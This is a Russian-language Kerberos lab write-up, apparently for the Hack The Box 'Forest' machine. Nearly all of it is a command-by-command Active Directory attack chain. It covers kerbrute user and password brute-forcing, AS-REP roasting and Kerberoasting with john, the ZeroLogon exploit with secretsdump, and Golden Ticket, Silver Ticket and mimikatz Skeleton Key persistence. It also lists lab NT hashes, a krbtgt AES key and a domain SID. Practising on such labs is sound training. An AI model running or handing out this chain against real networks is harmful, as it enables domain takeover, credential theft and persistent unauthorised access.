Лабораторная работа по Kerberos

Выполнение перебора существующих учетных записей:

```
$ kerbrute_linux_amd64 -d htb.local --dc forest.htb --safe userenum
users.txt
```

Выполнение перебора паролей и получение TGT-билета:

```
$ git clone https://github.com/TarlogicSecurity/kerbrute
$ python3 kerbrute.py -user svc-alfresco -domain HTB.LOCAL -dc-ip
forest.htb -password s3rvice
$ getTGT.py htb.local/svc-alfresco:s3rvice -dc-ip forest.htb
```

Выполнение атаки AS-Rep roasting:

```
$ GetNPUsers.py -no-pass -dc-ip forest.htb htb/ -usersfile users.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt tgt.txt
```

Выполнение атаки Kerberoasting:

```
$ GetUserSPNs.py -request active.htb/SVC_TGS
$ john admin.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Выполнение атаки ZeroLogon:

```
$ git clone https://github.com/dirkjanm/CVE-2020-1472
$ proxychains python3 cve-2020-1472-exploit.py FOREST 10.10.10.161
$ proxychains impacket-secretsdump -just-dc -no-pass FOREST\$@10.10.10.161
$ proxychains impacket-secretsdump -no-pass -hashes
:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161
$ proxychains python3 restorepassword.py htb.local/forest@forest -target-ip
10.10.10.161 -hexpass <HEX>
```

Закрепление доступа: Golden Ticket

```
$ proxychains net time -S 10.10.10.161
$ sudo date -s <date>
# krbtgt nthash
aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8
# krbtgt aesKey
9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b

# Обычный PSexec
$ proxychains impacket-psexec administrator@forest.htb -hashes
aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

# Получение SID
$ proxychains impacket-lookupsid htb.local/Administrator@forest.htb -hashes
aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
# SID
S-1-5-21-3072663084-364016917-1341370565

# Генерация TGT с NTLM
$ impacket-ticketer -nthash 32693b11e6aa90eb43d32c72a07ceea6 -domain-sid
S-1-5-21-3072663084-364016917-1341370565 -domain htb.local Administrator

# Генерация TGT с AES
$ impacket-ticketer -aesKey
9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
-domain-sid S-1-5-21-3072663084-364016917-1341370565 -domain htb.local
Administrator

# Подключение по тикету
$ export KRB5CCNAME=<TGS_ccache_file>
$ KRB5CCNAME=./Administrator.ccache impacket-psexec -k -no-pass
HTB.LOCAL/Administrator@forest.htb.local -dc-ip forest.htb -debug -no-pass
```

Закрепление доступа: Silver Ticket

```
# Генерация TGS
$ impacket-ticketer -aesKey <machine_key> -domain-sid
S-1-5-21-3072663084-364016917-1341370565 -domain htb.local -spn
CIFS/forest.htb.local -dc-ip forest.htb Administrator
# Подключение по TGS
$ KRB5CCNAME=./Administrator.ccache proxychains impacket-psexec -k -no-pass
```

```
Administrator@forest.htb.local -target-ip 10.10.10.161 -dc-ip 10.10.10.161
-debug -no-pass
```

Закрепление доступа: Skeleton Key

```
$ proxychains evil-winrm -i 10.10.10.161 -u Administrator -H
32693b11e6aa90eb43d32c72a07ceea6
ps> upload mimikatz.exe
# Патч LSASS
ps> .\mimikatz.exe "privilege::debug" "misc::skeleton" exit
# Подключение по Skeleton key
$ proxychains impacket-smbexec -k -no-pass
"HTB.LOCAL/Administrator:mimikatz@forest.htb.local" -dc-ip forest.htb.local
-debug
```